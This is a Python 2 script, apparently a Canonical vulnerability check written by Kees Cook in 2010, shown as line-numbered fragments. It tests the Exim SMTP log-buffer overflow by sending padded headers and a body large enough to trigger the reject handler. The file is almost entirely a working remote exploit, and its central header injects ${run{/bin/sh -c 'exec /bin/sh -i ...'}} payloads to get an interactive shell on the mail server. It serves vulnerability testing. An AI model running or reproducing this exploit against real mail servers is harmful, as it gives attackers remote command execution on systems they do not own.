2 # Copyright 2010, Canonical, Ltd.
3 # Author: Kees Cook <kees@ubuntu.com>
12 sock
= socket
.socket(socket
.AF_INET
, socket
.SOCK_STREAM
)
13 except socket
.error
, msg
:
14 sys
.stderr
.write("[ERROR] %s\n" % msg
[1])
19 sock
.connect((HOST
, PORT
))
20 except socket
.error
, msg
:
21 sys
.stderr
.write("[ERROR] %s\n" % msg
[1])
24 def want(value
, cmd
=None):
26 sys
.stdout
.write("%s\n" % (cmd
))
27 sock
.send("%s\n" % (cmd
))
28 data
= sock
.recv(1024)
29 sys
.stdout
.write(data
)
30 final
= data
.splitlines().pop()
31 if not final
.startswith('%d ' % (value
)):
32 sys
.stdout
.write("*** Got '%s', wanted '%d' ***\n" % (final
, value
))
36 mail_from
= '<root@localhost>'
37 rcpt_to
= '<postmaster@localhost>'
41 data
= want(250, "EHLO %s" % (helo
))
42 ident
= data
.splitlines()[0].split()
43 # Extract DNS details from helo response
44 sending_host
= '%s (%s) %s' % (ident
[2], helo
, ident
[3])
46 want(250, "MAIL FROM:%s" % (mail_from
))
47 want(250, "RCPT TO:%s" % (rcpt_to
))
50 # want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189
51 # and minus the logging header...
53 sent
= len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800
56 ''' % (mail_from
, sending_host
, mail_from
, rcpt_to
))
59 padding
= 3 # because of logging's " " prefix and "\n" suffix
61 header
= 'MAILbombhdr%04d: '
62 chunksize
= len(header
) + 120
64 while amount
> chunksize
:
69 #print "Chunk size: %d" % (chunksize)
71 #print "hit enter to continue"
76 #print "At position %d (%d to go)" % (sent, send)
77 data
= header
% (count
)
78 perline
= chunksize
- padding
79 data
+= taunt
* chunksize
85 # Fill hole for easier forward calculations
89 if left
< len(header
) + (padding
* 2):
94 sock
.send('%s\n' % (data
))
95 send
-= len(data
) + padding
96 sent
+= len(data
) + padding
97 #print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send)
99 # This header will expand past the logging buffer
100 sys
.stdout
.write("Sending exploit header\n")
101 sock
.send('HeaderX: ')
103 for i
in range(3, 13):
104 sock
.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i
)
107 # Now trigger the "message too large" handler
108 sys
.stdout
.write("Sending body to trigger reject\n")
110 for i
in range(700000):
111 sock
.send(taunt
* 10 + "\n")
116 trigger
= "MAIL FROM:%s\n" % (mail_from
)
117 sys
.stdout
.write(trigger
)
125 data
= sock
.recv(1024)
128 sys
.stdout
.write(data
)
131 if '/bin/sh' in final
:
133 if shell
and not hit
:
134 sock
.send("uname -a\n")
140 print "\nSystem is vulnerable"
142 print "\nSystem appears safe"